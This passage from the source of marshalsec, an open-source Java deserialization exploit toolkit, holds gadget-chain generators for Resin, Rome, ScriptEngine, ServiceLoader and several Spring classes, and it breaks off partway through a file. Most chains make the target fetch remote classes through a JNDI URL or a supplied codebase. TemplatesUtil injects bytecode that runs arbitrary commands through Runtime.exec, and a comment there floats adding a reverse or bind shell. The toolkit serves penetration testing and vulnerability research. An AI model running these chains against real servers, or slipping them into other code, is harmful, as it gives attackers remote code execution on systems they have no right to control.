Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import java.lang.annotation.Retention; 27 | import java.lang.annotation.RetentionPolicy; 28 | 29 | 30 | /** 31 | * @author mbechler 32 | * 33 | */ 34 | @Retention ( RetentionPolicy.RUNTIME ) 35 | public @interface Primary { 36 | 37 | } 38 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/Resin.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import java.lang.reflect.Constructor; 27 | import java.util.Hashtable; 28 | 29 | import javax.naming.CannotProceedException; 30 | import javax.naming.Reference; 31 | import javax.naming.directory.DirContext; 32 | 33 | import com.caucho.naming.QName; 34 | 35 | import marshalsec.MarshallerBase; 36 | import marshalsec.UtilFactory; 37 | import marshalsec.util.Reflections; 38 | 39 | 40 | /** 41 | * @author mbechler 42 | * 43 | */ 44 | public interface Resin extends Gadget { 45 | 46 | @Args ( minArgs = 2, args = { 47 | "codebase", "class" 48 | }, defaultArgs = { 49 | MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass 50 | } ) 51 | default Object makeResinQName ( UtilFactory uf, String[] args ) throws Exception { 52 | 53 | Class ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$ 54 | Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); 55 | ccCons.setAccessible(true); 56 | CannotProceedException cpe = new CannotProceedException(); 57 | Reflections.setFieldValue(cpe, "cause", null); 58 | Reflections.setFieldValue(cpe, "stackTrace", null); 59 | 60 | cpe.setResolvedObj(new Reference("Foo", args[ 1 ], args[ 0 ])); 61 | 62 | Reflections.setFieldValue(cpe, "suppressedExceptions", null); 63 | DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>()); 64 | QName qName = new QName(ctx, "foo", "bar"); 65 | return uf.makeToStringTriggerStable(qName); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/Rome.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import com.rometools.rome.feed.impl.EqualsBean; 27 | import com.rometools.rome.feed.impl.ToStringBean; 28 | import com.sun.rowset.JdbcRowSetImpl; 29 | 30 | import marshalsec.MarshallerBase; 31 | import marshalsec.UtilFactory; 32 | 33 | 34 | /** 35 | * @author mbechler 36 | * 37 | */ 38 | public interface Rome extends Gadget { 39 | 40 | @Primary 41 | @Args ( minArgs = 1, args = { 42 | "jndiUrl" 43 | }, defaultArgs = { 44 | MarshallerBase.defaultJNDIUrl 45 | } ) 46 | default Object makeRome ( UtilFactory uf, String[] args ) throws Exception { 47 | return makeROMEAllPropertyTrigger(uf, JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(args[ 0 ])); 48 | } 49 | 50 | 51 | default Object makeROMEAllPropertyTrigger ( UtilFactory uf, Class type, T obj ) throws Exception { 52 | ToStringBean item = new ToStringBean(type, obj); 53 | EqualsBean root = new EqualsBean(ToStringBean.class, item); 54 | return uf.makeHashCodeTrigger(root); 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/ScriptEngine.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import marshalsec.MarshallerBase; 27 | import marshalsec.UtilFactory; 28 | 29 | 30 | /** 31 | * @author mbechler 32 | * 33 | */ 34 | public interface ScriptEngine extends Gadget { 35 | 36 | @Args ( minArgs = 1, args = { 37 | "codebase" 38 | }, defaultArgs = { 39 | MarshallerBase.defaultCodebase 40 | } ) 41 | // is triggered through constructor call, therefor cannot be represented by an object instance 42 | Object makeScriptEngine ( UtilFactory uf, String[] args ) throws Exception; 43 | } 44 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/ServiceLoader.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import javax.script.ScriptEngineFactory; 27 | 28 | import marshalsec.MarshallerBase; 29 | import marshalsec.UtilFactory; 30 | 31 | 32 | /** 33 | * 34 | * @author mbechler 35 | * 36 | */ 37 | public interface ServiceLoader extends Gadget { 38 | 39 | @Args ( minArgs = 1, args = { 40 | "service_codebase" 41 | }, defaultArgs = { 42 | MarshallerBase.defaultCodebase 43 | } ) 44 | // uses the ScriptEngineFactory service 45 | default Object makeServiceLoader ( UtilFactory uf, String[] args ) throws Exception { 46 | return uf.makeIteratorTrigger(JDKUtil.makeServiceIterator(JDKUtil.makeURLClassLoader(args[ 0 ]), ScriptEngineFactory.class)); 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/SpringAbstractBeanFactoryPointcutAdvisor.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import marshalsec.MarshallerBase; 27 | import marshalsec.UtilFactory; 28 | 29 | 30 | /** 31 | * @author mbechler 32 | * 33 | */ 34 | public interface SpringAbstractBeanFactoryPointcutAdvisor extends Gadget { 35 | 36 | @Primary 37 | @Args ( minArgs = 1, args = { 38 | "jndiUrl" 39 | }, defaultArgs = { 40 | MarshallerBase.defaultJNDIUrl 41 | } ) 42 | default Object makeBeanFactoryPointcutAdvisor ( UtilFactory uf, String[] args ) throws Exception { 43 | String jndiUrl = args[ 0 ]; 44 | return SpringUtil.makeBeanFactoryTriggerBFPA(uf, jndiUrl, SpringUtil.makeJNDITrigger(jndiUrl)); 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/SpringPartiallyComparableAdvisorHolder.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import org.springframework.beans.factory.BeanFactory; 27 | 28 | import marshalsec.MarshallerBase; 29 | import marshalsec.UtilFactory; 30 | 31 | 32 | /** 33 | * @author mbechler 34 | * 35 | */ 36 | public interface SpringPartiallyComparableAdvisorHolder extends Gadget { 37 | 38 | @Primary 39 | @Args ( minArgs = 1, args = { 40 | "jndiUrl" 41 | }, defaultArgs = { 42 | MarshallerBase.defaultJNDIUrl 43 | } ) 44 | default Object makePartiallyComparableAdvisorHolder ( UtilFactory uf, String[] args ) throws Exception { 45 | String jndiUrl = args[ 0 ]; 46 | BeanFactory bf = SpringUtil.makeJNDITrigger(jndiUrl); 47 | return SpringUtil.makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/SpringPropertyPathFactory.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import org.springframework.beans.factory.BeanFactory; 27 | import org.springframework.beans.factory.config.PropertyPathFactoryBean; 28 | 29 | import marshalsec.MarshallerBase; 30 | import marshalsec.UtilFactory; 31 | import marshalsec.util.Reflections; 32 | 33 | 34 | /** 35 | * @author mbechler 36 | * 37 | */ 38 | public interface SpringPropertyPathFactory extends Gadget { 39 | 40 | @Primary 41 | @Args ( minArgs = 1, args = { 42 | "jndiUrl" 43 | }, defaultArgs = { 44 | MarshallerBase.defaultJNDIUrl 45 | } ) 46 | default Object makePropertyPathFactory ( UtilFactory uf, String[] args ) throws Exception { 47 | String jndiUrl = args[ 0 ]; 48 | BeanFactory bf = SpringUtil.makeJNDITrigger(jndiUrl); 49 | 50 | PropertyPathFactoryBean ppf = new PropertyPathFactoryBean(); 51 | ppf.setTargetBeanName(jndiUrl); 52 | ppf.setPropertyPath("foo"); 53 | 54 | Reflections.setFieldValue(ppf, "beanFactory", bf); 55 | return ppf; 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/SpringUtil.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import java.lang.reflect.InvocationTargetException; 27 | import java.util.HashSet; 28 | import java.util.Map; 29 | 30 | import org.apache.commons.logging.impl.NoOpLog; 31 | import org.springframework.aop.aspectj.AbstractAspectJAdvice; 32 | import org.springframework.aop.aspectj.AspectInstanceFactory; 33 | import org.springframework.aop.aspectj.AspectJAroundAdvice; 34 | import org.springframework.aop.aspectj.AspectJPointcutAdvisor; 35 | import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory; 36 | import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; 37 | import org.springframework.beans.factory.BeanFactory; 38 | import org.springframework.beans.factory.support.DefaultListableBeanFactory; 39 | import org.springframework.beans.factory.support.RootBeanDefinition; 40 | import org.springframework.jndi.support.SimpleJndiBeanFactory; 41 | 42 | import marshalsec.UtilFactory; 43 | import marshalsec.util.Reflections; 44 | 45 | 46 | /** 47 | * @author mbechler 48 | * 49 | */ 50 | public final class SpringUtil { 51 | 52 | /** 53 | * 54 | */ 55 | private SpringUtil () {} 56 | 57 | 58 | public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception { 59 | SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); 60 | bf.setShareableResources(jndiUrl); 61 | Reflections.setFieldValue(bf, "logger", new NoOpLog()); 62 | Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); 63 | return bf; 64 | } 65 | 66 | 67 | public static BeanFactory makeMethodTrigger ( Object o, String method ) throws Exception { 68 | DefaultListableBeanFactory bf = new DefaultListableBeanFactory(); 69 | RootBeanDefinition caller = new RootBeanDefinition(); 70 | 71 | caller.setFactoryBeanName("obj"); 72 | caller.setFactoryMethodName(method); 73 | Reflections.setFieldValue(caller.getMethodOverrides(), "overrides", new HashSet<>()); 74 | bf.registerBeanDefinition("caller", caller); 75 | 76 | Reflections.getField(DefaultListableBeanFactory.class, "beanClassLoader").set(bf, null); 77 | Reflections.getField(DefaultListableBeanFactory.class, "alreadyCreated").set(bf, new HashSet<>()); 78 | Reflections.getField(DefaultListableBeanFactory.class, "singletonsCurrentlyInCreation").set(bf, new HashSet<>()); 79 | Reflections.getField(DefaultListableBeanFactory.class, "inCreationCheckExclusions").set(bf, new HashSet<>()); 80 | Reflections.getField(DefaultListableBeanFactory.class, "logger").set(bf, new NoOpLog()); 81 | Reflections.getField(DefaultListableBeanFactory.class, "prototypesCurrentlyInCreation").set(bf, new ThreadLocal<>()); 82 | 83 | @SuppressWarnings ( "unchecked" ) 84 | Map objs = (Map) Reflections.getFieldValue(bf, "singletonObjects"); 85 | objs.put("obj", o); 86 | return bf; 87 | } 88 | 89 | 90 | public static Object makeBeanFactoryTriggerBFPA ( UtilFactory uf, String name, BeanFactory bf ) throws Exception { 91 | DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor(); 92 | pcadv.setBeanFactory(bf); 93 | pcadv.setAdviceBeanName(name); 94 | return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor()); 95 | } 96 | 97 | 98 | /** 99 | * @param jndiUrl 100 | * @param bf 101 | * @return 102 | * @throws ClassNotFoundException 103 | * @throws NoSuchMethodException 104 | * @throws InstantiationException 105 | * @throws IllegalAccessException 106 | * @throws InvocationTargetException 107 | * @throws Exception 108 | */ 109 | public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException, 110 | NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { 111 | AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); 112 | Reflections.setFieldValue(aif, "beanFactory", bf); 113 | Reflections.setFieldValue(aif, "name", name); 114 | AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class); 115 | Reflections.setFieldValue(advice, "aspectInstanceFactory", aif); 116 | 117 | // make readObject happy if it is called 118 | Reflections.setFieldValue(advice, "declaringClass", Object.class); 119 | Reflections.setFieldValue(advice, "methodName", "toString"); 120 | Reflections.setFieldValue(advice, "parameterTypes", new Class[0]); 121 | 122 | AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class); 123 | Reflections.setFieldValue(advisor, "advice", advice); 124 | 125 | Class pcahCl = Class 126 | .forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder"); 127 | Object pcah = Reflections.createWithoutConstructor(pcahCl); 128 | Reflections.setFieldValue(pcah, "advisor", advisor); 129 | return uf.makeToStringTriggerUnstable(pcah); 130 | } 131 | } 132 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/TemplatesUtil.java: -------------------------------------------------------------------------------- 1 | package marshalsec.gadgets; 2 | 3 | 4 | import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; 5 | 6 | import java.io.Serializable; 7 | 8 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 9 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 10 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 11 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 12 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 13 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 14 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 15 | 16 | import javassist.ClassClassPath; 17 | import javassist.ClassPool; 18 | import javassist.CtClass; 19 | import marshalsec.util.Reflections; 20 | 21 | 22 | /* 23 | * utility generator functions for common jdk-only gadgets 24 | */ 25 | @SuppressWarnings ( { 26 | "restriction" 27 | } ) 28 | public class TemplatesUtil { 29 | 30 | static { 31 | // special case for using TemplatesImpl gadgets with a SecurityManager enabled 32 | System.setProperty(DESERIALIZE_TRANSLET, "true"); 33 | 34 | // for RMI remote loading 35 | System.setProperty("java.rmi.server.useCodebaseOnly", "false"); 36 | } 37 | 38 | public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; 39 | 40 | public static class StubTransletPayload extends AbstractTranslet implements Serializable { 41 | 42 | private static final long serialVersionUID = -5971610431559700674L; 43 | 44 | 45 | @Override 46 | public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} 47 | 48 | 49 | @Override 50 | public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} 51 | } 52 | 53 | // required to make TemplatesImpl happy 54 | public static class Foo implements Serializable { 55 | 56 | private static final long serialVersionUID = 8207363842866235160L; 57 | } 58 | 59 | 60 | public static Object createTemplatesImpl ( final String[] args ) throws Exception { 61 | if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { 62 | return createTemplatesImpl( 63 | args, 64 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), 65 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), 66 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); 67 | } 68 | 69 | return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); 70 | } 71 | 72 | 73 | public static T createTemplatesImpl ( final String[] args, Class tplClass, Class abstTranslet, Class transFactory ) 74 | throws Exception { 75 | final T templates = tplClass.newInstance(); 76 | 77 | // use template gadget class 78 | ClassPool pool = ClassPool.getDefault(); 79 | pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); 80 | pool.insertClassPath(new ClassClassPath(abstTranslet)); 81 | final CtClass clazz = pool.get(StubTransletPayload.class.getName()); 82 | // run command in static initializer 83 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 84 | 85 | StringBuilder sb = new StringBuilder(); 86 | boolean first = true; 87 | for ( String arg : args ) { 88 | 89 | if ( !first ) { 90 | sb.append(','); 91 | } 92 | else { 93 | first = false; 94 | } 95 | 96 | sb.append('"'); 97 | sb.append(arg.replaceAll("\"", "\\\"")); 98 | sb.append('"'); 99 | } 100 | 101 | clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb.toString() + " });"); 102 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) 103 | clazz.setName("ysoserial.Pwner" + System.nanoTime()); 104 | CtClass superC = pool.get(abstTranslet.getName()); 105 | clazz.setSuperclass(superC); 106 | 107 | final byte[] classBytes = clazz.toBytecode(); 108 | 109 | // inject class bytes into instance 110 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { 111 | classBytes, ClassFiles.classAsBytes(Foo.class) 112 | }); 113 | 114 | // required to make TemplatesImpl happy 115 | Reflections.setFieldValue(templates, "_name", "Pwnr"); 116 | Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); 117 | return templates; 118 | } 119 | } 120 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/ToStringUtil.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import java.lang.reflect.Constructor; 27 | import java.util.Arrays; 28 | import java.util.HashMap; 29 | import java.util.Map; 30 | import java.util.function.Function; 31 | 32 | import org.springframework.aop.target.HotSwappableTargetSource; 33 | 34 | import com.sun.org.apache.xpath.internal.objects.XString; 35 | 36 | 37 | /** 38 | * @author mbechler 39 | * 40 | */ 41 | public class ToStringUtil { 42 | 43 | public static Object makeToStringTrigger ( Object o, Function wrap ) throws Exception { 44 | String unhash = unhash(o.hashCode()); 45 | XString xString = new XString(unhash); 46 | return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString)); 47 | } 48 | 49 | 50 | public static Object makeToStringTrigger ( Object o ) throws Exception { 51 | String unhash = unhash(o.hashCode()); 52 | XString xString = new XString(unhash); 53 | return JDKUtil.makeMap(o, xString); 54 | } 55 | 56 | 57 | public static Object makeJohnzonToStringTrigger ( Object o ) throws Exception { 58 | Class clz = Class.forName("org.apache.johnzon.core.JsonObjectImpl"); //$NON-NLS-1$ 59 | Constructor dec = clz.getDeclaredConstructor(Map.class); 60 | dec.setAccessible(true); 61 | HashMap m = new HashMap<>(); 62 | Object jo = dec.newInstance(m); 63 | m.put(o, o); 64 | XString toStringTrig = new XString(""); 65 | return Arrays.asList(jo, JDKUtil.makeMap(jo, toStringTrig)); 66 | } 67 | 68 | 69 | public static Object makeSpringAOPToStringTrigger ( Object o ) throws Exception { 70 | return 